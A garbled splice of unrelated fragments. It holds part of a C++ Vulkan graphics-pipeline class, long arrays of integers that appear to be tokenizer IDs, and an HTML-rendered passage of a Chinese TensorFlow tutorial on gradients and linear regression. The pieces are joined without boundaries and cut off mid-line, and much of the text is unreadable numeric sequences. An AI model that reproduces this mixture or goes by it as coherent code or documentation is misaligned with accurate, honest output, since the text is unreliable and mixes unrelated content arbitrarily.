1163 ]	asterization_state.frontFace; } void GraphicsPipeline::FixedFunction::set_front_face(VkFrontFace front_face) { rasterization_state.frontFace = front_face; } void GraphicsPipeline::FixedFunction::enable_depth_clamp() { rasterization_state.depthClampEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::disable_depth_clamp() { rasterization_state.depthClampEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::disable_discarding() { rasterization_state.rasterizerDiscardEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::enable_discarding() { rasterization_state.rasterizerDiscardEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::enable_depth_bias() { rasterization_state.depthBiasEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::enable_depth_bias(float constant_factor, float clamp, float slope_factor) { rasterization_state.depthBiasEnable = VK_TRUE; rasterization_state.depthBiasConstantFactor = constant_factor; rasterization_state.depthBiasClamp = clamp; rasterization_state.depthBiasSlopeFactor = slope_factor; } void GraphicsPipeline::FixedFunction::disable_depth_bias() { rasterization_state.depthBiasEnable = VK_FALSE; rasterization_state.depthBiasConstantFactor = 0.0; rasterization_state.depthBiasClamp = 0.0; rasterization_state.depthBiasSlopeFactor = 0.0; } void GraphicsPipeline::FixedFunction::FixedFunction::enable_depth_test() { depth_stencil_state.depthWriteEnable = VK_TRUE; depth_stencil_state.depthTestEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::FixedFunction::enable_depth_test(bool write) { if (write) { depth_stencil_state.depthWriteEnable = VK_TRUE; } else { depth_stencil_state.depthWriteEnable = VK_FALSE; } depth_stencil_state.depthTestEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::set_depth_test_compare(VkCompareOp operation) { depth_stencil_state.depthCompareOp = operation; } void GraphicsPipeline::FixedFunction::disable_depth_test(bool write) { if (write) { depth_stencil_state.depthWriteEnable = VK_TRUE; } else { depth_stencil_state.depthWriteEnable = VK_FALSE; } depth_stencil_state.depthTestEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::disable_depth_test() { depth_stencil_state.depthWriteEnable = VK_FALSE; depth_stencil_state.depthTestEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::set_samples(VkSampleCountFlagBits samples) { multisample_state.rasterizationSamples = samples; } VkSampleCountFlagBits GraphicsPipeline::FixedFunction::get_samples() const { return multisample_state.rasterizationSamples; } void GraphicsPipeline::FixedFunction::enable_sample_shading(float minimum) { multisample_state.sampleShadingEnable = VK_TRUE; multisample_state.minSampleShading = minimum; } void GraphicsPipeline::FixedFunction::disable_sample_shading() { multisample_state.sampleShadingEnable = VK_FALSE; multisample_state.minSampleShading = 1.0; } void GraphicsPipeline::FixedFunction::disable_blending_for(std::uint32_t a) { if (attachments.size() <= a) { attachments.resize(a + 1); } attachments[a].blendEnable = VK_FALSE; color_blending_state.attachmentCount = attachments.size(); color_blending_state.pAttachments = attachments.data(); } void GraphicsPipeline::FixedFunction::enable_alpha_blending_for(std::uint32_t a) { if (attachments.size() <= a) { attachments.resize(a + 1); } attachments[a].colorWriteMask = VK_COLOR_COMPONENT_R_BIT \| VK_COLOR_COMPONENT_G_BIT \| VK_COLOR_COMPONENT_B_BIT \| VK_COLOR_COMPONENT_A_BIT; attachments[a].blendEnable = VK_TRUE; attachments[a].srcColorBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA; attachments[a].dstColorBlendFactor = VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA; attachments[a].colorBlendOp = VK_BLEND_OP_ADD; attachments[a].srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE; attachments[a].dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO; attachments[a].alphaBlendOp = VK_BLEND_OP_ADD; color_blending_state.attachmentCount = attachments.size(); color_blending_state.pAttachments = attachments.data(); } void GraphicsPipeline::FixedFunction::enable_additive_blending_for(std::uint32_t a) { if (attachments.size() <= a) { attachments.resize(a + 1); } attachments[a].colorWriteMask = VK_COLOR_COMPONENT_R_BIT \| VK_COLOR_COMPONENT_G_BIT \| VK_COLOR_COMPONENT_B_BIT \| VK_COLOR_COMPONENT_A_BIT; attachments[a].blendEnable = VK_TRUE; attachments[a].srcColorBlendFactor = VK_BLEND_FACTOR_ONE; attachments[a].dstColorBlendFactor = VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA; attachments[a].colorBlendOp = VK_BLEND_OP_ADD; attachments[a].srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE; attachments[a].dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO; attachments[a].alphaBlendOp = VK_BLEND_OP_ADD; color_blending_state.attachmentCount = attachments.size(); color_blending_state.pAttachments = attachments.data(); } void GraphicsPipeline::FixedFunction::add_dynamic_state(VkDynamicState dynamic_state) { dynamic_states.push_back(dynamic_state); this->dynamic_state.dynamicStateCount = dynamic_states.size(); this->dynamic_state.pDynamicStates = dynamic_states.data(); } const GraphicsPipeline::FixedFunction& GraphicsPipeline::get_fixed_functions() const { return fixed_functions; } std::uint32_t GraphicsPipeline::get_subpass() const { return subpass_index; } RenderPass& GraphicsPipeline::get_render_pass() const { return *render_pass; } const std::vector<VkPipelineShaderStageCreateInfo>& GraphicsPipeline::get_shader_stages() const { return shader_stages; } void GraphicsPipeline::set_shader_stages(std::vector<ShaderModule>& shaders) { specialization_constants.clear(); shader_stages.clear(); shader_stages.reserve(shaders.size()); specialization_constants.reserve(shaders.size()); for (auto& shader :
[ 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 29844, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 45, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 81, 1138, 60, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 88, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 67, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 3291, 870, 2551, 31, 50270, 29, 2551, 966, 568, 68, 18, 1138, 4, 209, 14129, 96, 47615, 45, 9, 88, 13, 270, 10, 40500, 30329, 88, 13, 270, 5225, 28915, 226, 13744, 122, 15531, 870, 2551, 31, 187, 29, 2551, 966, 568, 5668, 1138, 3845, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 45, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 88, 64, 4971, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 67, 64, 4971, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 870, 3456, 3073, 2154, 31, 187, 870, 2154, 31, 187, 29, 81, 31, 21365, 230, 18678, 19282, 81, 31, 187, 29, 2154, 966, 568, 30703, 14, 6986, 417, 16147, 12579, 5264, 2154, 966, 568, 30703, 5264, 3456, 2730, 2551, 3073, 2551, 2730, 2551, 966, 568, 79, 1138, 16114, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 39596, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 32067, 1138, 9312, 15, 17, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 15721, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 5715, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 69, 881, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 9599, 1237, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 29, 2551, 966, 568, 79, 1138, 16114, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 39596, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 31, 187, 29, 2551, 966, 568, 81, 1138, 14598, 870, 2551, 31, 654, 2551, 966, 568, 32067, 1138, 1967, 8239, 2551, 2730, 2551, 966, 568, 81, 1138, 62, 870, 2551, 31, 187, 29, 2551, 966, 568, 81, 1138, 60, 870, 2551, 2730, 2551, 966, 568, 32067, 1138, 2313, 8239, 2551, 2730, 2551, 966, 568, 81, 1138, 31011, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 15721, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 7373, 1138, 19, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 7373, 1138, 18, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 582, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 69, 881, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 9599, 1237, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 29, 2551, 966, 568, 79, 1138, 16114, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 39596, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 32067, 1138, 1229, 15, 17, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 15721, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 5715, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 69, 881, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 9599, 1237, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 870, 3456, 3073, 2154, 31, 187, 870, 2154, 31, 187, 29, 81, 31, 20622, 42013, 6238, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 15044, 46410, 2551, 3073, 3211, 31, 209, 44508, 224, 21275, 29440, 24160, 25949, 21365, 230, 23373, 12811, 243, 37079, 5225, 22985, 226, 27896, 44114, 48815, 43741, 44084, 20005, 6238, 14274, 43316, 47570, 12811, 243, 37079, 14318, 97, 43397, 4340, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 35878, 64, 2204, 46410, 2551, 3073, 3211, 31, 209, 44508, 224, 21275, 29440, 24160, 25949, 21365, 230, 23373, 12811, 243, 37079, 5225, 25276, 14377, 44114, 48815, 43741, 21458, 6238, 21365, 230, 18678, 27896, 14318, 97, 43397, 20326, 45249, 5225, 29268, 109, 37079, 12811, 243, 37079, 14236, 33018, 27804, 32004, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 10565, 870, 2551, 3073, 3211, 31, 209, 39573, 15531, 24370, 34811, 17576, 43741, 21458, 5225, 12755, 114, 29485, 6238, 14274, 34811, 17576, 6765, 236, 37215, 235, 14129, 99, 25949, 25276, 14377, 44114, 48815, 43741, 21458, 14106, 4340, 39596, 20671, 13609, 14377, 15962, 37079, 5225, 12811, 243, 37079, 44508, 224, 21275, 11252, 6238, 15899, 216, 23825, 107, 15531, 28586, 9078, 227, 47615, 4746, 12811, 243, 37079, 14318, 97, 43397, 44508, 224, 21275, 14236, 25434, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 2935, 2259, 46410, 2551, 3073, 3211, 31, 14106, 4746, 6765, 218, 15957, 218, 21458, 9078, 241, 33474, 14236, 25434, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 35707, 46410, 2551, 3073, 3211, 31, 14106, 38563, 24899, 49288, 35498, 34380, 6238, 33018, 27804, 32004, 48950, 29852, 216, 39596, 20671, 5225, 6916, 235, 20005, 11252, 20855, 35072, 98, 654, 66, 966, 568, 8938, 9939, 14, 14005, 26609, 3, 3860, 10817, 71, 20, 3, 2654, 568, 301, 26, 1138, 19, 870, 66, 31, 209, 24370, 36778, 9850, 14486, 100, 17492, 33273, 4340, 870, 81, 31, 187, 29, 81, 31, 5690, 225, 21365, 230, 18678, 18148, 17559, 212, 6238, 39596, 20671, 15446, 108, 11043, 104, 31486, 14129, 96, 47615, 18678, 17492, 870, 81, 31, 187, 29, 2154, 966, 568, 679, 1138, 187, 29, 81, 2730, 8428, 6740, 12227, 64, 13485, 16, 679, 16, 18, 317, 41328, 9194, 1967, 67, 3208, 68, 740, 68, 19490, 71, 3593, 69, 3121, 70, 2320, 4148, 70, 24, 70, 42198, 69, 3439, 15, 8567, 3, 6945, 568, 45, 4464, 18, 13, 374, 4800, 53, 13, 337, 10, 708, 1301, 28, 30, 11140, 187, 187, 61, 1124, 464, 3214, 418, 9, 88, 13, 270, 15734, 3214, 259, 94, 1040, 578, 88, 426, 313, 18, 13, 374, 4800, 53, 13, 270, 426, 337, 94, 708, 1301, 28, 30, 393, 2043, 92, 20809, 94, 5571, 3202, 2233, 61, 423, 92, 20809, 94, 187, 187, 61, 1124, 464, 3214, 418, 9, 88, 13, 270, 15734, 3214, 270, 94, 1040, 578, 88, 426, 313, 18, 13, 374, 4800, 53, 13, 270, 426, 337, 94, 708, 1301, 28, 30, 1884, 36561, 3073, 81, 31, 187, 870, 2154, 3073, 2154, 31, 187, 29, 2154, 966, 568, 4674, 3, 2654, 568, 20122, 14, 73, 507, 14, 8172, 14, 1747, 1256, 1138, 187, 29, 2551, 2654, 568, 301, 740, 6750, 2551, 2730, 73, 19, 31, 41140, 49835, 211, 30420, 32378, 18140, 29268, 125, 21734, 26270, 14318, 229, 29, 66, 966, 568, 10146, 4492, 3, 3860, 10817, 20122, 14, 73, 507, 14, 8172, 14, 1747, 1256, 3, 4060, 568, 17289, 118, 11871, 216, 165, 230, 124, 33474, 16787, 113, 42292, 27107, 235, 1138, 7307, 870, 66, 3073, 73, 19, 31, 187, 29, 2154, 966, 568, 324, 2163, 539, 14, 40496, 539, 1138, 187, 29, 81, 966, 568, 324, 2163, 539, 14, 5564, 1138, 41140, 49835, 211, 34609, 11894, 217, 21458, 39673, 24017, 870, 81, 31, 187, 29, 335, 966, 568, 19583, 1138, 187, 29, 965, 2730, 81, 31, 54, 4639, 6721, 49873, 31949, 654, 66, 966, 568, 14005, 6024, 3, 3860, 568, 2413, 1358, 2375, 392, 77, 15, 18549, 4379, 15, 13808, 16, 85, 37929, 16, 35421, 16, 24211, 5785, 1256, 40354, 24211, 3667, 1256, 870, 66, 31, 209, 9850, 36387, 213, 4340, 870, 81, 3073, 965, 31, 187, 870, 335, 31, 187, 870, 2154, 31, 187, 29, 81, 31, 45466, 46982, 228, 27896, 36750, 17783, 216, 49271, 27107, 235, 6238, 26974, 227, 26581, 225, 42335, 13610, 6622, 19144, 14, 7132, 19144, 5225, 8650, 125, 5690, 117, 25434, 20720, 24160, 25276, 30420, 18140, 870, 81, 31, 187, 29, 2420, 966, 568, 7152, 18833, 8495, 14, 6986, 1138, 187, 29, 2052, 4399, 31, 187, 29, 2052, 3740, 568, 3429, 27, 655, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 870, 2052, 4399, 31, 187, 29, 30892, 31, 187, 29, 1206, 966, 568, 736, 14, 13323, 5264, 2851, 2730, 81, 31, 19144, 5690, 123, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6622, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6759, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6620, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6961, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 7132, 870, 81, 3073, 2851, 31, 187, 870, 1206, 31, 187, 29, 1206, 966, 568, 736, 14, 9154, 5264, 2851, 2730, 81, 31, 8650, 125, 5690, 117, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 805, 933, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1047, 933, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1010, 933, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1036, 5388, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1166, 5388, 870, 81, 3073, 2851, 31, 187, 870, 1206, 31, 187, 870, 30892, 31, 187, 870, 2420, 31, 187, 29, 81, 31, 35321, 13610, 6238, 31486, 15446, 223, 5959, 238, 27804, 32004, 25949, 11894, 100, 36998, 36778, 16677, 29268, 125, 21734, 26270, 14318, 229, 6238, 12363, 113, 29463, 29268, 125, 21734, 41202, 34380, 654, 8428, 966, 568, 679, 3, 6740, 12227, 64, 13485, 16, 679, 16, 2904, 2082, 2787, 16587, 3547, 336, 453, 2904, 1812, 3593, 12847, 3141, 68, 25, 68, 26, 12847, 1473, 19, 68, 2691, 70, 19, 69, 15, 8567, 3, 6945, 568, 90, 426, 4589, 559, 270, 5647, 209, 24370, 23825, 242, 24168, 16740, 9078, 110, 36998, 6238, 43873, 7249, 215, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 66, 870, 2551, 3073, 3211, 31, 209, 21458, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 67, 870, 2551, 3073, 3211, 31, 209, 12105, 12005, 216, 43741, 5225, 39573, 15531, 4340, 870, 81, 31, 187, 29, 81, 31, 40843, 233, 43216, 6238, 31486, 17576, 11871, 220, 36998, 6238, 36778, 16677, 41140, 18957, 5225, 14318, 229, 9850, 27707, 44508, 224, 21275, 4340, 870, 81, 31, 187, 29, 2154, 966, 568, 30703, 14, 6986, 417, 16147, 12579, 5264, 2154, 966, 568, 30703, 5264, 3456, 2730, 2551, 3073, 2551, 2730, 2551, 966, 568, 3696, 1138, 2948, 870, 2551, 31, 654, 2551, 966, 568, 9866, 1138, 79, 37028, 870, 2551, 31, 654, 2551, 966, 568, 76, 1138, 284, 870, 2551, 31, 654, 2551, 966, 568, 9866, 1138, 18650, 870, 2551, 31, 187, 187, 29, 2551, 966, 568, 79, 1138, 57, 64, 2040, 870, 2551, 31, 654, 2551, 966, 568, 80, 1138, 30, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 18650, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 3728, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 8850, 870, 2551, 2730, 2551, 966, 568, 7373, 1138, 6622, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551 ]	class="o">.</span><span class="n">gradient</span><span class="p">(</span><span class="n">L</span><span class="p">,</span> <span class="p">[</span><span class="n">w</span><span class="p">,</span> <span class="n">b</span><span class="p">])</span> <span class="c1"># 计算L(w, b)关于w, b的偏导数</span> <span class="nb">print</span><span class="p">(</span><span class="n">L</span><span class="p">,</span> <span class="n">w_grad</span><span class="p">,</span> <span class="n">b_grad</span><span class="p">)</span> </pre></div> </div> <p>输出:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">tf</span><span class="o">.</span><span class="n">Tensor</span><span class="p">(</span><span class="mf">125.0</span><span class="p">,</span> <span class="n">shape</span><span class="o">=</span><span class="p">(),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">float32</span><span class="p">)</span> <span class="n">tf</span><span class="o">.</span><span class="n">Tensor</span><span class="p">(</span> <span class="p">[[</span> <span class="mf">70.</span><span class="p">]</span> <span class="p">[</span><span class="mf">100.</span><span class="p">]],</span> <span class="n">shape</span><span class="o">=</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">float32</span><span class="p">)</span> <span class="n">tf</span><span class="o">.</span><span class="n">Tensor</span><span class="p">(</span><span class="mf">30.0</span><span class="p">,</span> <span class="n">shape</span><span class="o">=</span><span class="p">(),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">float32</span><span class="p">)</span> </pre></div> </div> <p>这里， <code class="docutils literal notranslate"><span class="pre">tf.square()</span></code> 操作代表对输入张量的每一个元素求平方，不改变张量形状。 <code class="docutils literal notranslate"><span class="pre">tf.reduce_sum()</span></code> 操作代表对输入张量的所有元素求和，输出一个形状为空的纯量张量（可以通过 <code class="docutils literal notranslate"><span class="pre">axis</span></code> 参数来指定求和的维度，不指定则默认对所有元素求和）。TensorFlow中有大量的张量操作API，包括数学运算、张量形状操作（如 <code class="docutils literal notranslate"><span class="pre">tf.reshape()</span></code>）、切片和连接（如 <code class="docutils literal notranslate"><span class="pre">tf.concat()</span></code>）等多种类型，可以通过查阅TensorFlow的官方API文档 <a class="footnote-reference brackets" href="#f3" id="id9">2</a> 来进一步了解。</p> <p>从输出可见，TensorFlow帮助我们计算出了</p> <div class="math"> <p><img src="../../_images/math/1ac464fd70b56c10c245f81d76eaf97e7e436d54.png" alt="L((1, 2)^T, 1) &= 125 \frac{\partial L(w, b)}{\partial w} \|_{w = (1, 2)^T, b = 1} &= \begin{bmatrix} 70 \\ 100\end{bmatrix} \frac{\partial L(w, b)}{\partial b} \|_{w = (1, 2)^T, b = 1} &= 30"/></p> </div></div> <div class="section" id="zh-hans-linear-regression"> <span id="id10"></span><h2>基础示例：线性回归<a class="headerlink" href="#zh-hans-linear-regression" title="永久链接至标题">¶</a></h2> <div class="admonition- admonition"> <p class="admonition-title">基础知识和原理</p> <ul class="simple"> <li><p>UFLDL教程 <a class="reference external" href="http://ufldl.stanford.edu/tutorial/supervised/LinearRegression/">Linear Regression</a> 一节。</p></li> </ul> </div> <p>考虑一个实际问题，某城市在2013年-2017年的房价如下表所示：</p> <table class="docutils align-default"> <colgroup> <col style="width: 19%" /> <col style="width: 16%" /> <col style="width: 16%" /> <col style="width: 16%" /> <col style="width: 16%" /> <col style="width: 16%" /> </colgroup> <tbody> <tr class="row-odd"><td><p>年份</p></td> <td><p>2013</p></td> <td><p>2014</p></td> <td><p>2015</p></td> <td><p>2016</p></td> <td><p>2017</p></td> </tr> <tr class="row-even"><td><p>房价</p></td> <td><p>12000</p></td> <td><p>14000</p></td> <td><p>15000</p></td> <td><p>16500</p></td> <td><p>17500</p></td> </tr> </tbody> </table> <p>现在，我们希望通过对该数据进行线性回归，即使用线性模型 <img class="math" src="../../_images/math/08657936072cefe083681bc78c8c9bcda2c86e2d.png" alt="y = ax + b"/> 来拟合上述数据，此处 <code class="docutils literal notranslate"><span class="pre">a</span></code> 和 <code class="docutils literal notranslate"><span class="pre">b</span></code> 是待求的参数。</p> <p>首先，我们定义数据，进行基本的归一化操作。</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span> <span class="n">X_raw</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mi">2013</span><span class="p">,</span> <span
[ 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 37, 1225, 404, 708, 308, 6356, 274, 4195, 373, 281, 23843, 7076, 86, 313, 18948, 898, 13, 4104, 10, 187, 187, 45441, 4195, 373, 403, 2130, 323, 4288, 281, 35020, 1309, 37521, 404, 285, 308, 6356, 274, 436, 807, 15, 401, 4420, 2491, 432, 370, 898, 2090, 281, 370, 1638, 2222, 432, 954, 8238, 15, 1310, 368, 403, 6110, 275, 2970, 247, 14430, 13, 4496, 3426, 253, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 10430, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 342, 634, 4288, 12282, 285, 4454, 13, 390, 407, 4481, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 15, 187, 187, 12161, 12449, 432, 1457, 2816, 313, 43, 27168, 10, 943, 40279, 670, 253, 2714, 4195, 373, 432, 8842, 333, 11553, 313, 36517, 10, 1223, 13512, 403, 2130, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 53, 26195, 281, 23843, 7076, 86, 323, 4288, 562, 2180, 4247, 428, 2552, 313, 14060, 337, 13, 4104, 10, 187, 187, 2512, 310, 7289, 281, 23843, 7076, 86, 285, 13571, 7911, 2491, 432, 28689, 22908, 428, 31268, 432, 1142, 8238, 275, 253, 1982, 15, 1422, 476, 8778, 562, 875, 1024, 285, 2552, 4562, 15, 1707, 403, 690, 2806, 483, 9894, 327, 253, 562, 9458, 275, 2552, 13, 285, 4288, 310, 417, 11460, 327, 253, 1091, 1309, 690, 5241, 9894, 275, 4163, 428, 4223, 15, 187, 187, 1394, 476, 3297, 323, 598, 281, 577, 2607, 15, 6676, 273, 253, 7289, 14997, 452, 1077, 1029, 22414, 323, 3522, 2544, 285, 1275, 41748, 403, 417, 11460, 15, 187, 187, 6872, 20818, 588, 3839, 320, 275, 38372, 13, 17218, 26590, 13, 390, 47229, 313, 3113, 8778, 37, 538, 2284, 481, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 27303, 1283, 1163, 48702, 281, 23843, 7076, 86, 323, 4565, 708, 4247, 428, 3919, 313, 27303, 1283, 13, 4059, 10, 187, 187, 2042, 368, 403, 7219, 247, 7408, 281, 35020, 13, 253, 7911, 323, 253, 562, 9458, 4565, 2180, 588, 320, 875, 28689, 31268, 428, 29316, 15, 1310, 368, 403, 2104, 281, 4288, 846, 4247, 1458, 13, 253, 7911, 588, 320, 1475, 28689, 39739, 428, 31268, 15, 496, 690, 2219, 13, 253, 2406, 4195, 373, 3135, 432, 253, 806, 2129, 273, 4247, 432, 247, 1180, 273, 8238, 15, 187, 187, 6872, 20818, 588, 3839, 320, 275, 38372, 13, 17218, 26590, 13, 390, 47229, 313, 3113, 8778, 37, 538, 2284, 10, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 22342, 18188, 1163, 401, 4420, 323, 37521, 404, 313, 22342, 818, 13, 4059, 10, 187, 187, 2042, 368, 403, 7219, 281, 4143, 35020, 323, 37521, 404, 13, 285, 368, 403, 2104, 281, 4288, 1078, 4397, 655, 13, 4195, 373, 403, 1335, 1077, 12085, 15, 187, 187, 4553, 436, 3522, 13, 13512, 403, 3240, 3710, 285, 7911, 8268, 253, 28689, 39678, 1616, 15, 7764, 7522, 275, 253, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 5007, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 13, 285, 359, 588, 1007, 323, 690, 20182, 4610, 323, 368, 537, 187, 187, 19206, 386, 14964, 12282, 27, 187, 187, 37, 1225, 404, 308, 11825, 187, 187, 25897, 13, 4437, 495, 187, 187, 53, 6356, 274, 378, 16926, 308, 11825, 187, 187, 28007, 13, 4437, 2030, 187, 187, 39, 4420, 403, 3264, 281, 2572, 846, 436, 2129, 285, 359, 11907, 368, 281, 1379, 5750, 273, 841, 2406, 4195, 373, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 6791, 1458, 27, 20672, 4195, 373, 281, 23843, 7076, 86, 275, 3978, 13, 4163, 13, 4223, 285, 4397, 187, 187, 50, 15642, 13, 17218, 26590, 285, 16861, 29218, 452, 5777, 3777, 616, 4195, 373, 323, 3978, 428, 4397, 436, 807, 15, 1023, 1832, 403, 1077, 3710, 285, 368, 778, 878, 281, 1818, 634, 4288, 12282, 407, 347, 1199, 347, 818, 428, 740, 1897, 15, 7764, 3426, 253, 2748, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 5007, 441, 271, 